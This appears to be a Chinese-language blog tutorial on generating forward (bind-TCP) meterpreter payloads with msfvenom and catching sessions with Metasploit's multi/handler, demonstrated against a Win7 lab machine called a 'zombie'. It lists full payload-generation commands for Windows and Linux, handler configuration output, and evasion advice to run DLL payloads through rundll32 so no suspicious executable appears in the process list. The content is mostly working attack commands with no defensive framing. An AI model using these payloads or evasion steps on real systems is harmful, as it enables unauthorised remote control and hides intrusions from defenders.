
- 使用场景
场景还是得具体看,⽐如⽬标机器不给其他除特定端⼝外的端⼝出站,那就只能能正向;还有⽐如有⼀种情
况,⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通,因为其他机器防⽕墙都开着,为避免
在有防⽕墙监控的情况下关闭防⽕墙⽽被发现,也只能⽤正向的马,然后通过开着防⽕墙的机器来进⾏端⼝的
转发达到穿透的⽬的
msfvenom生成正向Paylaod
1 2 3 4 5 6 7 8 9 10 11 | msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f exe >/root/bind_xx.exe msfvenom -p windows/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f dll >/root/bind_xx.dll msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=<Attack Port> -f elf >/root/bind_xx.elf |
因为我win7虚拟机是x64位系统,我就用这条命令:

- LPORT
在肉鸡上运行:bind_xx.exe:

可以看到,已经开放了9090端口!
接下来打开msfconsole对肉鸡进行连接(前提是对方防火墙是关闭了的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp payload => windows/x64/meterpreter/bind_tcp msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST no The target address Exploit target: Id Name -- ---- 0 Wildcard Target |

其中LPORT需要设置为刚刚我们生成的Payload一样的端口,也就是9090:
还要设置一个RHOST,也就是肉鸡Win7的IP:192.168.119.139
设置完后就是这样的:

最后直接运行exoloit:

这个时候就反弹回来了一个Meterpreter会话回来!
同时,肉鸡win7那边就没有对9090端口进行连接了!

因为用了9090端口启用监听后,只会接收一次数据,无论成功或者失败,它都不会再监听了!
也就是说,如果连接失败了,那么就再运行然后再连接一次!

这是Metasploit生成正向的过程!
尽量不要生成exe
在真实环境中,如果使用msfvenom生成了一个正向Paylaod格式是exe,那么在进程中就会暴露!

一般用就用dll!
要运行dll必须使用rundll32.exe来start:
rundll32.exe文件在C:\Windows\System32\rundll32.exe:

使用方法就是:

可以看到,运行了之后,在进程中就没有可疑的exe文件了!

而Meterpreter这边也是反弹了一个shell回来
这就是 Metasploit 生成正向 Payload 笔记!
交流群:

微信公众号:

知识星球:











